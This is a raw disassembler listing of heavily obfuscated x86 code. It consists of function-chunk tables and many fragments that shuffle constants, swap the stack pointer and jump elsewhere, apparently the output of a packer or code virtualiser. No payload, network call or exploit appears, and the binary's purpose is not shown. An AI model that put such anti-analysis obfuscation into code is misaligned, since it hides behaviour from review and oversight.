; FUNCTION CHUNK AT 005A5F2B SIZE 0000001C BYTES
; FUNCTION CHUNK AT 005A639F SIZE 0000000A BYTES
; FUNCTION CHUNK AT 005A63BC SIZE 00000020 BYTES
; FUNCTION CHUNK AT 005A6750 SIZE 0000000C BYTES
; FUNCTION CHUNK AT 005A67D9 SIZE 00000015 BYTES
; FUNCTION CHUNK AT 005A6823 SIZE 00000012 BYTES
; FUNCTION CHUNK AT 005A6859 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 005A6C21 SIZE 00000009 BYTES
; FUNCTION CHUNK AT 005A6F05 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 005A7013 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 005A712A SIZE 00000011 BYTES
; FUNCTION CHUNK AT 005A731C SIZE 00000006 BYTES
; FUNCTION CHUNK AT 005A7B0A SIZE 0000000C BYTES
; FUNCTION CHUNK AT 005A7B85 SIZE 0000001B BYTES
; FUNCTION CHUNK AT 005A7ED6 SIZE 0000002C BYTES
; FUNCTION CHUNK AT 005A7FBA SIZE 00000021 BYTES
; FUNCTION CHUNK AT 005A86ED SIZE 00000010 BYTES
; FUNCTION CHUNK AT 005A8973 SIZE 00000011 BYTES
; FUNCTION CHUNK AT 005A8A19 SIZE 0000002B BYTES
; FUNCTION CHUNK AT 005A921D SIZE 0000000A BYTES
; FUNCTION CHUNK AT 005A92B2 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 005A960D SIZE 00000007 BYTES
; FUNCTION CHUNK AT 005A96B0 SIZE 00000021 BYTES
; FUNCTION CHUNK AT 005A9773 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 005A98BF SIZE 00000008 BYTES
; FUNCTION CHUNK AT 005A99EC SIZE 0000000A BYTES
; FUNCTION CHUNK AT 005A9AC8 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 005A9BAA SIZE 00000027 BYTES
; FUNCTION CHUNK AT 005A9E54 SIZE 0000004F BYTES
; FUNCTION CHUNK AT 005AA1C0 SIZE 00000012 BYTES
; FUNCTION CHUNK AT 005AA392 SIZE 0000001C BYTES
; FUNCTION CHUNK AT 005AA602 SIZE 00000006 BYTES
; FUNCTION CHUNK AT 005AA7F6 SIZE 0000001A BYTES
; FUNCTION CHUNK AT 005AA99F SIZE 0000000D BYTES
; FUNCTION CHUNK AT 005AAA86 SIZE 00000007 BYTES
; FUNCTION CHUNK AT 005AB079 SIZE 00000009 BYTES
; FUNCTION CHUNK AT 005AB1D1 SIZE 00000014 BYTES
; FUNCTION CHUNK AT 005AB3F0 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 005AB4A1 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 005AB511 SIZE 00000010 BYTES
; FUNCTION CHUNK AT 005ABB77 SIZE 0000001C BYTES
; FUNCTION CHUNK AT 005ABEA4 SIZE 0000000E BYTES
; FUNCTION CHUNK AT 005ABF8D SIZE 00000020 BYTES
; FUNCTION CHUNK AT 005AC006 SIZE 00000018 BYTES
; FUNCTION CHUNK AT 005AC58A SIZE 0000000B BYTES
; FUNCTION CHUNK AT 005ACAB3 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 005AD069 SIZE 00000011 BYTES
; FUNCTION CHUNK AT 005AD49F SIZE 00000008 BYTES
; FUNCTION CHUNK AT 005AD52D SIZE 00000008 BYTES
; FUNCTION CHUNK AT 005AD601 SIZE 00000013 BYTES
; FUNCTION CHUNK AT 005AD888 SIZE 00000021 BYTES
; FUNCTION CHUNK AT 005ADA8B SIZE 0000000B BYTES
; FUNCTION CHUNK AT 005ADF64 SIZE 00000013 BYTES
; FUNCTION CHUNK AT 005AE0DD SIZE 00000026 BYTES
; FUNCTION CHUNK AT 005AE24D SIZE 00000008 BYTES
; FUNCTION CHUNK AT 005AE8EB SIZE 0000001C BYTES
; FUNCTION CHUNK AT 005AEAD9 SIZE 00000018 BYTES
; FUNCTION CHUNK AT 005AF061 SIZE 0000002B BYTES
; FUNCTION CHUNK AT 005AF397 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 005AF466 SIZE 00000009 BYTES
; FUNCTION CHUNK AT 005AF4BB SIZE 00000012 BYTES
; FUNCTION CHUNK AT 005AF4EE SIZE 00000023 BYTES
; FUNCTION CHUNK AT 005AF9BE SIZE 0000000B BYTES

		push	bx
		jmp	loc_5A6750
sub_59C979	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AA2D1


loc_59C980:				; CODE XREF: sub_5AA2D1-E3E7j
		pop	ecx
		sub	al, dh
		add	al, 95h
		sub	al, 85h
		sub	al, 34h
		jmp	loc_5ACE9E
; END OF FUNCTION CHUNK	FOR sub_5AA2D1
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5992DA


loc_59C98E:				; CODE XREF: sub_5992DA+DDB3j
		add	edx, 363B5893h
		add	edi, edx
		jmp	loc_5AD54F
; END OF FUNCTION CHUNK	FOR sub_5992DA
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5ABC2F


loc_59C99B:				; CODE XREF: sub_5ABC2F-24F9j
		push	38Dh
		mov	[esp+10h+var_10], esi
		mov	esi, 6E83796h
		jmp	loc_5AB4CC
; END OF FUNCTION CHUNK	FOR sub_5ABC2F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AA52F


loc_59C9AD:				; CODE XREF: sub_5AA52F-BA5j
		mov	dx, word ptr [esp+4+var_4]
		add	esp, 2
		sub	al, bl
		sub	al, 0C5h
		sub	esp, 2
		jmp	loc_5A6F60
; END OF FUNCTION CHUNK	FOR sub_5AA52F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59F2D1


loc_59C9C6:				; CODE XREF: sub_59F2D1-5C47j
		sub	edx, 351D25E0h
		pop	edi
		add	[esp+0Ch+var_8], 23173A99h
		add	[esp+0Ch+var_8], 63E11F38h
		add	[esp+0Ch+var_8], edx
		push	edi
		mov	edi, 63E11F38h
		jmp	loc_5AD162
; END OF FUNCTION CHUNK	FOR sub_59F2D1
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59EE3E


loc_59C9EC:				; CODE XREF: sub_59EE3E-11DCj
		add	esp, 4
		sub	ebx, edi
		sub	ebx, 3F0F1B44h
		pop	edi
		pop	dword ptr [eax]
		jmp	loc_59910F
; END OF FUNCTION CHUNK	FOR sub_59EE3E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59D6B8


loc_59CA02:				; CODE XREF: sub_59D6B8+BC2Aj
		neg	edx
		jp	loc_5A25AC
		sub	edx, 0FF16A725h
		mov	ecx, edx
		jmp	loc_59EE07
; END OF FUNCTION CHUNK	FOR sub_59D6B8
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59C979


loc_59CA17:				; CODE XREF: sub_59C979+126F2j
		js	loc_59FED3
		add	edi, 0DDF70000h
		and	eax, edi
		push	dword ptr [esp]
		mov	edi, [esp+0]
		push	esi
		mov	esi, esp
		add	esi, 4
		add	esi, 4
		xchg	esi, [esp+4+var_6+2]
		pop	esp
		push	ebp
		jmp	loc_5AF070
; END OF FUNCTION CHUNK	FOR sub_59C979
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59F566


loc_59CA41:				; CODE XREF: sub_59F566+9E42j
		shl	esi, 4
		and	esi, 264018BAh
		add	esi, 32D23CFCh
		push	ecx
		push	eax
		mov	eax, 2ABB266Dh
		mov	ecx, 261F79ACh
		jmp	loc_59A888
; END OF FUNCTION CHUNK	FOR sub_59F566
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59CBE1


loc_59CA61:				; CODE XREF: sub_59CBE1+66C6j
		add	esi, 1BD054CCh
		add	esi, ecx
		sub	esi, 1BD054CCh
		pop	ecx
		mov	ebp, esi
		pop	esi
		jmp	sub_5AC803
; END OF FUNCTION CHUNK	FOR sub_59CBE1
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AA2D1


loc_59CA78:				; CODE XREF: sub_5AA2D1-DBE5j
		inc	ebp
		shr	ebp, 8
		jmp	loc_59F62F
; END OF FUNCTION CHUNK	FOR sub_5AA2D1
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A63DC


loc_59CA81:				; CODE XREF: sub_5A63DC-7D64j
		pop	edi
		add	esi, 4FF45313h
		add	esi, ebx
		jmp	loc_5A40AC
; END OF FUNCTION CHUNK	FOR sub_5A63DC
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AA2D1


loc_59CA8F:				; CODE XREF: sub_5AA2D1-EEE8j
		jmp	loc_5A5291
; END OF FUNCTION CHUNK	FOR sub_5AA2D1
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59C979


loc_59CA94:				; CODE XREF: sub_59C979+C006j
		pop	ecx
		xor	esi, edx
		jmp	loc_5A7013
; END OF FUNCTION CHUNK	FOR sub_59C979
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AD795


loc_59CA9C:				; CODE XREF: sub_5AD795-EA30j
		pop	eax
		xor	edx, [esp-4+arg_0]
		xor	[esp-4+arg_0], edx
		xor	edx, [esp-4+arg_0]
		mov	esp, [esp-4+arg_0]
		push	ebx
		push	eax
		mov	eax, 68585C8Ch
		jmp	loc_59CBB2
; END OF FUNCTION CHUNK	FOR sub_5AD795
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A3261


loc_59CAB5:				; CODE XREF: sub_5A3261-92B2j
		add	ebx, 36DF5CB8h
		sub	ebx, 0DEDB5C69h
		add	esi, ebx
		pop	ebx
		jmp	loc_59E2C3
; END OF FUNCTION CHUNK	FOR sub_5A3261
; ---------------------------------------------------------------------------


loc_59CAC9:				; CODE XREF: sdfs____:0059E111j
		add	edx, eax
		pop	eax
		pop	ebp
		jmp	loc_5AD8E9
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A2E28


loc_59CAD2:				; CODE XREF: sub_5A2E28+6B9Ej
		push	ecx
		mov	ecx, 63ED19DCh
		add	dword ptr [esp+8], 3704DB1h
		add	[esp+8], ecx
		jmp	loc_5A72E5
; END OF FUNCTION CHUNK	FOR sub_5A2E28
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A81C4


loc_59CAE9:				; CODE XREF: sub_5A81C4+486Cj
		pop	ebp
		jmp	loc_5A011D
; END OF FUNCTION CHUNK	FOR sub_5A81C4
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A765F


loc_59CAEF:				; CODE XREF: sub_5A765F+77B7j
		pop	dword ptr [esp-4+arg_0]
		jmp	loc_5AC165
; END OF FUNCTION CHUNK	FOR sub_5A765F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AA2D1


loc_59CAF7:				; CODE XREF: sub_5AA2D1-980Ej
		mov	[esp+0], eax
		mov	eax, 4
		push	ebx
		push	ebp
		mov	ebp, 7A130708h
		xor	ebp, 16E405D8h
		add	ebp, 39569D3h
		push	edi
		mov	edi, ebp
		mov	ebx, edi
		jmp	loc_5ABF2F
; ---------------------------------------------------------------------------


loc_59CB1C:				; CODE XREF: sub_5AA2D1-10001j
		mov	eax, 6B667B96h
		inc	eax
		jmp	loc_5A6EC3
; END OF FUNCTION CHUNK	FOR sub_5AA2D1
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59CBE1


loc_59CB27:				; CODE XREF: sub_59CBE1+FDC2j
		pop	esp
		mov	ecx, [esp-10h+arg_C]
		add	esp, 4
		jmp	loc_59910F
; END OF FUNCTION CHUNK	FOR sub_59CBE1
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A477C


loc_59CB36:				; CODE XREF: sub_5A477C+B9D1j
		mov	edi, 545D049Fh
		mov	ebp, 545D04A3h
		jmp	loc_5A4075
; END OF FUNCTION CHUNK	FOR sub_5A477C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AA2D1


loc_59CB45:				; CODE XREF: sub_5AA2D1+53B8j
		add	ebp, 244608A1h
		jmp	loc_5A5D9E
; ---------------------------------------------------------------------------


loc_59CB50:				; CODE XREF: sub_5AA2D1-3D90j
		push	esp
		pop	[esp+4+var_4]
		jmp	loc_5A7571
; END OF FUNCTION CHUNK	FOR sub_5AA2D1
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5992DA


loc_59CB59:				; CODE XREF: sub_5992DA+A75Fj
		push	eax
		mov	eax, 4
		sub	edx, eax
		mov	eax, [esp+38h+var_38]
		add	esp, 4
		xchg	edx, [esp+0]
		pop	esp
		mov	[esp+30h+var_32+2], ebp
		mov	ebp, esp
		jmp	loc_5AE3E8
; END OF FUNCTION CHUNK	FOR sub_5992DA
; ---------------------------------------------------------------------------


loc_59CB78:				; CODE XREF: sdfs____:005AADE4j
		pop	ecx
		jmp	loc_59B8DF
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A8C5C


loc_59CB7E:				; CODE XREF: sub_5A8C5C+9j
		push	[esp+arg_0]
		mov	eax, [esp+4+var_4]
		add	esp, 4
		pop	dword ptr [esp+0]
		pop	esp
		jmp	loc_5A7920
; END OF FUNCTION CHUNK	FOR sub_5A8C5C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59F1F3


loc_59CB94:				; CODE XREF: sub_59F1F3+EFECj
		pop	edi
		jmp	loc_59AD89
; END OF FUNCTION CHUNK	FOR sub_59F1F3
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AC2C0


loc_59CB9A:				; CODE XREF: sub_5AC2C0-3054j
		xor	edi, esi
		jmp	loc_5A156C
; END OF FUNCTION CHUNK	FOR sub_5AC2C0
; ---------------------------------------------------------------------------


loc_59CBA1:				; CODE XREF: sdfs____:0059B78Fj
		mov	eax, 6C490245h
		xor	eax, 712D09D1h
		not	eax
		jmp	sub_59E333
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AD795


loc_59CBB2:				; CODE XREF: sub_5AD795-10CE5j
		mov	ebx, 0B5C27CAh
		xor	ebx, eax
		pop	eax
		push	7650h
		jmp	loc_599535
; END OF FUNCTION CHUNK	FOR sub_5AD795
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AA2D1


loc_59CBC4:				; CODE XREF: sub_5AA2D1-1BE9j
		add	bl, 3Ch
		add	bl, cl
		push	edx
		mov	dl, 0A9h
		add	dl, 93h
		sub	bl, dl
		pop	edx
		pop	ecx
		sub	esp, 4
		mov	[esp+0], eax
		jmp	loc_59D954
; END OF FUNCTION CHUNK	FOR sub_5AA2D1

; =============== S U B	R O U T	I N E =======================================



sub_59CBE1	proc near		; CODE XREF: sub_599B07+AF5Cj

var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h
arg_10		= dword	ptr  14h

; FUNCTION CHUNK AT 00599BEA SIZE 0000000C BYTES
; FUNCTION CHUNK AT 0059A809 SIZE 00000009 BYTES
; FUNCTION CHUNK AT 0059B652 SIZE 0000000E BYTES
; FUNCTION CHUNK AT 0059CA61 SIZE 00000017 BYTES
; FUNCTION CHUNK AT 0059CB27 SIZE 0000000F BYTES
; FUNCTION CHUNK AT 0059CF37 SIZE 00000028 BYTES
; FUNCTION CHUNK AT 0059D008 SIZE 0000001A BYTES
; FUNCTION CHUNK AT 0059D4F7 SIZE 00000006 BYTES
; FUNCTION CHUNK AT 0059D73E SIZE 00000008 BYTES
; FUNCTION CHUNK AT 0059DDD0 SIZE 00000007 BYTES
; FUNCTION CHUNK AT 0059DF85 SIZE 00000021 BYTES
; FUNCTION CHUNK AT 0059E067 SIZE 00000017 BYTES
; FUNCTION CHUNK AT 0059E1D3 SIZE 00000011 BYTES
; FUNCTION CHUNK AT 0059EBDC SIZE 00000019 BYTES
; FUNCTION CHUNK AT 0059EC70 SIZE 00000052 BYTES
; FUNCTION CHUNK AT 0059F9CF SIZE 00000013 BYTES
; FUNCTION CHUNK AT 005A0024 SIZE 00000018 BYTES
; FUNCTION CHUNK AT 005A05A1 SIZE 00000006 BYTES
; FUNCTION CHUNK AT 005A05C5 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 005A08D3 SIZE 0000000E BYTES
; FUNCTION CHUNK AT 005A1270 SIZE 00000007 BYTES
; FUNCTION CHUNK AT 005A1A86 SIZE 00000013 BYTES
; FUNCTION CHUNK AT 005A30B1 SIZE 0000000F BYTES
; FUNCTION CHUNK AT 005A329D SIZE 0000000F BYTES
; FUNCTION CHUNK AT 005A3C3F SIZE 0000000E BYTES
; FUNCTION CHUNK AT 005A52FF SIZE 00000012 BYTES
; FUNCTION CHUNK AT 005A58B4 SIZE 0000001B BYTES
; FUNCTION CHUNK AT 005A5E6C SIZE 0000000A BYTES
; FUNCTION CHUNK AT 005A6192 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 005A743B SIZE 0000001B BYTES
; FUNCTION CHUNK AT 005A772A SIZE 0000001C BYTES
; FUNCTION CHUNK AT 005A7C5A SIZE 0000000B BYTES
; FUNCTION CHUNK AT 005A8C77 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 005A8F3D SIZE 0000000A BYTES
; FUNCTION CHUNK AT 005A9476 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 005A9746 SIZE 00000007 BYTES
; FUNCTION CHUNK AT 005A988C SIZE 00000011 BYTES
; FUNCTION CHUNK AT 005AA294 SIZE 00000026 BYTES
; FUNCTION CHUNK AT 005AACEA SIZE 00000016 BYTES
; FUNCTION CHUNK AT 005AB374 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 005AB790 SIZE 00000011 BYTES
; FUNCTION CHUNK AT 005AC31B SIZE 0000001C BYTES
; FUNCTION CHUNK AT 005AC3A6 SIZE 0000000F BYTES
; FUNCTION CHUNK AT 005AC490 SIZE 00000007 BYTES
; FUNCTION CHUNK AT 005AC54C SIZE 0000003E BYTES
; FUNCTION CHUNK AT 005AC999 SIZE 0000000F BYTES
; FUNCTION CHUNK AT 005ACFF9 SIZE 0000001C BYTES
; FUNCTION CHUNK AT 005AD022 SIZE 00000007 BYTES
; FUNCTION CHUNK AT 005ADE74 SIZE 0000001E BYTES
; FUNCTION CHUNK AT 005ADEFA SIZE 0000000E BYTES
; FUNCTION CHUNK AT 005AE7AD SIZE 0000000B BYTES
; FUNCTION CHUNK AT 005AF139 SIZE 0000000C BYTES
; FUNCTION CHUNK AT 005AFA50 SIZE 00000010 BYTES
; FUNCTION CHUNK AT 005AFC4C SIZE 0000000B BYTES
; FUNCTION CHUNK AT 005AFCC1 SIZE 00000026 BYTES

		push	ebx
		jmp	loc_5A58B4
sub_59CBE1	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A809B


loc_59CBE7:				; CODE XREF: sub_5A809B-7EC8j
		push	eax
		mov	eax, 509C0374h
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		sub	ebx, 4
		xchg	ebx, [esp+0]
		mov	esp, [esp+0]
		mov	[esp+0], edx
		mov	edx, 368D731Bh
		sub	edx, 0E5F16FABh
		sub	esp, 4
		mov	[esp+0], edi
		mov	edi, edx
		mov	ebx, edi
		pop	edi
		pop	edx
		jmp	loc_5994F7
; END OF FUNCTION CHUNK	FOR sub_5A809B

; =============== S U B	R O U T	I N E =======================================



sub_59CC21	proc near		; CODE XREF: sub_5A7BA0-141Aj

var_8		= dword	ptr -8

		sub	esp, 4
		push	esp
		pop	[esp+8+var_8]
		jmp	loc_5A8C50
sub_59CC21	endp


; =============== S U B	R O U T	I N E =======================================



sub_59CC30	proc near		; CODE XREF: sub_5A6649+18j

var_4		= dword	ptr -4
arg_0		= dword	ptr  4

; FUNCTION CHUNK AT 005A6C63 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 005AF5BB SIZE 0000002F BYTES

		sub	esp, 4
		jmp	loc_5AF5BB
sub_59CC30	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AA2D1


loc_59CC3B:				; CODE XREF: sub_5AA2D1:loc_5A5E15j
					; sdfs____:005A6466j ...
		mov	ebp, 30AD31B7h
		jmp	loc_5A0E23
; END OF FUNCTION CHUNK	FOR sub_5AA2D1
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A86D0


loc_59CC45:				; CODE XREF: sub_5A86D0+3961j
		add	eax, 2FE07126h
		add	eax, ebx
		sub	eax, 2FE07126h
		sub	esp, 4
		mov	[esp+4+var_4], ecx
		jmp	sub_59D5EA
; END OF FUNCTION CHUNK	FOR sub_5A86D0
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A7746


loc_59CC5F:				; CODE XREF: sub_5A7746+4B0j
		pop	ebx
		push	[esp-4+arg_0]
		pop	ecx
		push	edi
		mov	edi, esp
		add	edi, 4
		add	edi, 4
		xchg	edi, [esp+0]
		pop	esp
		and	eax, ebx
		push	[esp-4+arg_0]
		pop	ebx
		jmp	loc_5A23D8
; END OF FUNCTION CHUNK	FOR sub_5A7746
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A5EFF


loc_59CC7F:				; CODE XREF: sub_5A5EFF+1B27j
					; sub_5A94C4+10j
		mov	ebp, esp
		jmp	sub_59BE17
; END OF FUNCTION CHUNK	FOR sub_5A5EFF
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AF2D9


loc_59CC86:				; CODE XREF: sub_5AF2D9-1F40j
		push	eax
		mov	eax, 3B421345h
		and	ebp, eax
		push	[esp+0Ch+var_C]
		pop	eax
		jmp	loc_5AA01E
; END OF FUNCTION CHUNK	FOR sub_5AF2D9
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AAAD5


loc_59CC97:				; CODE XREF: sub_5AAAD5+12j
		pop	esp
		push	ebx
		push	esp
		pop	ebx
		jmp	loc_5A7A70
; END OF FUNCTION CHUNK	FOR sub_5AAAD5
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5992DA


loc_59CCA0:				; CODE XREF: sub_5992DA+E996j
		mov	[esp+30h+var_32+2], ebx
		push	[esp+30h+var_32+2]
		jmp	loc_5ACA77
; END OF FUNCTION CHUNK	FOR sub_5992DA
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A0AA2


loc_59CCAB:				; CODE XREF: sub_5A0AA2:loc_5A637Fj
		sub	ch, 36h
		add	ch, 0B0h
		push	ebx
		jmp	loc_5AA932
; END OF FUNCTION CHUNK	FOR sub_5A0AA2
; ---------------------------------------------------------------------------


loc_59CCB7:				; CODE XREF: sdfs____:005A6B0Aj
		push	ecx
		mov	ecx, 895FEBEEh
		jmp	loc_59BD01
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59A9E9


loc_59CCC2:				; CODE XREF: sub_59A9E9+79Dj
		sub	edx, 4A2C3042h
		jmp	loc_5ABFAD
; END OF FUNCTION CHUNK	FOR sub_59A9E9
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A7508


loc_59CCCD:				; CODE XREF: sub_5A7508+1341j
		sub	edi, 0FB368CE3h
		sub	edi, 238F3AA4h
		jmp	loc_5AB38E
; END OF FUNCTION CHUNK	FOR sub_5A7508
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AD84A


loc_59CCDE:				; CODE XREF: sub_5AD84A+7j
		neg	ebx
		jmp	loc_5A145C
; END OF FUNCTION CHUNK	FOR sub_5AD84A
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AA2D1


loc_59CCE5:				; CODE XREF: sub_5AA2D1+5EA4j
		sub	eax, 730E28E9h
		sub	eax, 1CEA0BD7h
		jz	loc_5A8682
		sub	eax, 6883A818h
		mov	esi, eax
		jmp	loc_5A5CBF
; ---------------------------------------------------------------------------


loc_59CD01:				; CODE XREF: sub_5AA2D1-7DC9j
		mov	ch, al
		mov	bh, ch
		pop	ecx
		not	bh
		mov	al, bh
		mov	ebx, [esp-4+arg_0]
		jmp	loc_5A881F
; END OF FUNCTION CHUNK	FOR sub_5AA2D1
; ---------------------------------------------------------------------------


loc_59CD12:				; CODE XREF: sdfs____:0059E491j
		add	edx, 74E047AAh
		jmp	loc_59E4E0
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AA2D1


loc_59CD1D:				; CODE XREF: sub_5AA2D1-D95Dj
		sub	eax, edi
		pop	edi
		pop	ecx
		jmp	loc_5B0021
; END OF FUNCTION CHUNK	FOR sub_5AA2D1

; =============== S U B	R O U T	I N E =======================================



sub_59CD26	proc near		; DATA XREF: sdfs____:00599058o
		push	ebp
		jmp	loc_5A0F79
sub_59CD26	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59C979


loc_59CD2C:				; CODE XREF: sub_59C979+C8A9j
		add	cl, 15h
		add	cl, 4Ah
		sub	cl, al
		sub	cl, 4Ah
		sub	cl, 15h
		pop	eax
		xor	bh, cl
		pop	cx
		push	eax
		mov	ah, bh
		mov	dh, ah
		pop	eax
		jmp	loc_59EE82
; END OF FUNCTION CHUNK	FOR sub_59C979
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A0AA2


loc_59CD4A:				; CODE XREF: sub_5A0AA2-2307j
		jp	loc_59D489
		dec	ebx
		jg	sub_59E333
		jmp	loc_5AD629
; END OF FUNCTION CHUNK	FOR sub_5A0AA2
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AA2D1


loc_59CD5C:				; CODE XREF: sub_5AA2D1+4843j
		add	edi, ecx
		jmp	loc_59DA57
; END OF FUNCTION CHUNK	FOR sub_5AA2D1
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59C979


loc_59CD63:				; CODE XREF: sub_59C979+10C96j
		sub	al, 14h
		add	al, dh
		add	al, 14h
		pop	edx
		sub	al, dh
		jmp	loc_59DC2D
; END OF FUNCTION CHUNK	FOR sub_59C979
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AA2D1


loc_59CD71:				; CODE XREF: sub_5AA2D1-1830j
		shl	ax, 4
		sub	ax, 110Ch
		push	esi
		push	eax
		mov	ax, 4811h
		mov	si, ax
		pop	eax
		jmp	loc_5A3A47
; END OF FUNCTION CHUNK	FOR sub_5AA2D1
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AC803


loc_59CD88:				; CODE XREF: sub_5AC803-3D24j
		xor	bh, 32h
		shl	bh, 2
		shr	bh, 4
		push	ecx
		mov	ch, 0F9h
		sub	bh, ch
		pop	ecx
		and	bh, 0B4h
		sub	bh, 0CEh
		sub	ch, bh
		jmp	loc_5AFF3B
; END OF FUNCTION CHUNK	FOR sub_5AC803

; =============== S U B	R O U T	I N E =======================================



sub_59CDA4	proc near		; DATA XREF: sdfs____:00598EACo
		push	dword ptr [edi+1Ch]
		popf
		pop	cx
		rcr	word ptr [esp+0], cl
		pushf
		jmp	loc_5A27A7
sub_59CDA4	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59F2D1


loc_59CDB4:				; CODE XREF: sub_59F2D1+B7C4j
		add	ebp, edx
		jmp	loc_5A16C1
; END OF FUNCTION CHUNK	FOR sub_59F2D1
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5ADD33


loc_59CDBB:				; CODE XREF: sub_5ADD33-D7D1j
		push	esp
		mov	edx, [esp+8+var_8]
		add	esp, 4
		push	eax
		mov	eax, 6D062A30h
		jmp	loc_59C8AF
; END OF FUNCTION CHUNK	FOR sub_5ADD33
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AAE5E


loc_59CDCD:				; CODE XREF: sub_5AAE5E-D36Bj
		pop	esp
		jmp	loc_5AD746
; END OF FUNCTION CHUNK	FOR sub_5AAE5E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59C979


loc_59CDD3:				; CODE XREF: sub_59C979+A7BDj
		xor	dx, word ptr [esp-0Ah+arg_6]
		xor	word ptr [esp-0Ah+arg_6], dx
		xor	dx, bp
		jmp	loc_5A6859
; END OF FUNCTION CHUNK	FOR sub_59C979
; ---------------------------------------------------------------------------


loc_59CDE3:				; CODE XREF: sdfs____:0059CEE5j
		mov	edi, 66672230h
		mov	esi, edi
		pop	edi
		push	ebp
		jmp	loc_5AA521
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_599A61


loc_59CDF1:				; CODE XREF: sub_599A61+14C6Ej
		js	loc_5AE3C7
		push	ecx
		push	ebp
		mov	ebp, 6B4931F1h
		jmp	sub_5AB2EA
; END OF FUNCTION CHUNK	FOR sub_599A61
; ---------------------------------------------------------------------------
		mov	al, 6Bh
; START	OF FUNCTION CHUNK FOR sub_5AB207


loc_59CE05:				; CODE XREF: sub_5AB207-8A02j
		sub	ecx, 37CA0905h
		pop	edi
		mov	ebp, ecx
		jmp	loc_5B03F6
; END OF FUNCTION CHUNK	FOR sub_5AB207

